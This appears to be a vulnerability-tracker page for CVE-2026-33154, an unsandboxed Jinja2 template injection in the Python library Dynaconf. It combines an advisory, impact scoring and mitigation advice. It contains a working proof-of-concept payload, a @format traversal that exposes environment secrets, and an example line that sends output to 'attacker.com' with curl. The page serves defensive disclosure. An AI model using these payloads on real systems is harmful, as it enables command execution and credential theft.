Python
CVE-2026-33154
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessInject malicious Jinja2 template in configuration source
-
ExploitDynaconf evaluates template without sandbox
-
ExecutionExecute arbitrary OS commands via template expression
-
ImpactCompromise host system
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires jinja2 package installed with Dynaconf. Attacker must have ability to influence configuration sources (environment variables, .env files, container environment, CI/CD secrets). Authenticated user or insider access needed. No victim interaction required. |
| Impact | The CVSS score of 7.5 (High) with vector AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H indicates network-exploitable remote code execution, though with high complexity and requiring low privileges. The high complexity (AC:H) stems from the attacker needing to influence configuration sources, which is environment-dependent but increasingly common in containerized deployments where environment variables are externally configurable. The availability of a working proof-of-concept significantly lowers the exploitation barrier. Real-world risk is elevated in cloud-native environments, CI/CD pipelines, and container orchestration platforms where configuration injection through environment variables is a common attack vector. The requirement for low privileges (PR:L) suggests some level of access is needed, but in many DevOps contexts this could mean any user with permission to set environment variables or modify deployment configurations. This represents a genuine priority for organizations using Dynaconf in production, particularly those accepting configuration from external or semi-trusted sources. |
| Exploit ScenarioDerived | An attacker with access to modify environment variables in a containerized application (such as through Kubernetes ConfigMaps or Docker environment injection) sets DYNACONF_RCE to '@jinja {{ cycler.__init__.__globals__.os.popen("curl attacker.com/$(whoami)").read() }}'. When the application initializes Dynaconf settings, the malicious template is automatically evaluated, executing the embedded command and exfiltrating the current user context to the attacker's server, potentially followed by reverse shell establishment or data theft from the compromised host. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
Dynaconf, a Python configuration management library, contains a Server-Side Template Injection (SSTI) vulnerability in its @jinja resolver that allows arbitrary command execution when attackers can control configuration sources such as environment variables, .env files, or CI/CD secrets. The vulnerability affects pip package dynaconf and includes a public proof-of-concept demonstrating command execution via Jinja2 template evaluation without sandboxing. The @format resolver additionally enables object graph traversal to expose sensitive runtime data including API keys and credentials.
RemediationAI
Users should immediately check the official GitHub security advisory at https://github.com/dynaconf/dynaconf/security/advisories/GHSA-pxrr-hq57-q35p for patched versions and upgrade accordingly. As an interim mitigation, wrap Jinja2 template rendering in a SandboxedEnvironment (from jinja2.sandbox import SandboxedEnvironment) to restrict access to dangerous attributes and methods. Restrict the use of @jinja and @format resolvers to configuration values from fully trusted sources only, never from user-controllable inputs, environment variables exposed to external systems, or CI/CD contexts where configuration injection is possible. Implement strict input validation and whitelisting for any configuration sources that may be influenced by external parties. Consider disabling dynamic template evaluation entirely if not required for your use case by avoiding the @jinja resolver syntax in configuration files.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from CWE-94 (Improper Control of Generation of Code) in the Dynaconf configuration management library for Python (pkg:pip/dynaconf). Dynaconf provides string resolvers including @jinja and @format that dynamically evaluate configuration values. The @jinja resolver uses Jinja2 template rendering without a sandboxed environment, allowing attackers to exploit Python's object introspection capabilities. By accessing the cycler object's __init__.__globals__ attribute chain, attackers reach the os module and execute arbitrary commands via popen(). The @format resolver similarly enables traversal of Python's object graph through format string operations, exposing runtime objects like __class__.__init__.__globals__ that contain sensitive environment data and imported modules.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @jinja resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment.
If an attacker can influence configuration sources such as: environment variables .env files container environment configuration CI/CD secrets they can execute arbitrary OS commands on the host system. In addition, the @format resolver allows object graph traversal, which may expose sensitive runtime objects and environment variables.
Details
The vulnerability arises because Dynaconf's string resolvers lack proper security boundaries.
- @jinja Resolver
The @jinja resolver renders templates using full Jinja2 evaluation. However, the rendering context is not sandboxed, which allows attackers to access Python's internal attributes. Using objects such as cycler, attackers can reach Python's __globals__ and import the os module.
Example attack path cycler → __init__ → __globals__ → os → popen() This leads to arbitrary command execution.
- @format Resolver
The @format resolver performs Python string formatting using internal objects. This allows attackers to traverse Python's object graph and access sensitive runtime objects. Example traversal: {this.__class__.__init__.__globals__[os].environ} This can expose
- API keys
- database credentials
- internal service tokens
- environment secrets
PoC
import os
from dynaconf import Dynaconf
# Malicious configuration injection
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Command Execution Result:")
print(settings.RCE)Impact
Successful exploitation allows attackers to:
- Execute arbitrary OS commands on the host system
- Access sensitive environment variables
- Compromise application secrets
- Fully compromise the running application process
Because configuration values may originate from CI/CD pipelines, container orchestration systems, or environment injection, this vulnerability can become remotely exploitable in real-world deployments.
Remediation / Mitigation (Examples)
- Use Jinja2 sandbox for template rendering
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)```- Restrict @format usage to trusted values
safe_value = "{name}".format(name=trusted_name)Blast Radius
ecosystem impact- 32 pypi packages depend on dynaconf (17 direct, 15 indirect)
Ecosystem-wide dependent count for version 3.2.13.
Executive ViewAI
Dynaconf, a Python configuration library used in our applications, contains a critical vulnerability allowing attackers to execute arbitrary commands if they gain access to configuration sources like environment variables or CI/CD secrets. This poses a direct threat to any systems using Dynaconf where configuration is not strictly controlled, potentially compromising application integrity and exposing sensitive credentials.
Disable @jinja and @format resolvers if not required for business functionality; implement strict file permissions (600/640) on .env and configuration files; restrict environment variable access through IAM policies; deploy WAF rules to block template injection patterns; use read-only configuration sources; implement configuration validation and sanitization; enforce network segmentation to limit CI/CD system access; monitor configuration file modifications and environment variable changes.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in CVE-2026-33154 and CVE-2026-33155 Code Injection
View all 2Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-94 – Code Injection
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 16.0 | Fixed |
| openSUSE Tumbleweed | Fixed |
GHSA-pxrr-hq57-q35p
NVD
CVE.org
EPSS
VulDB
Exploit-DB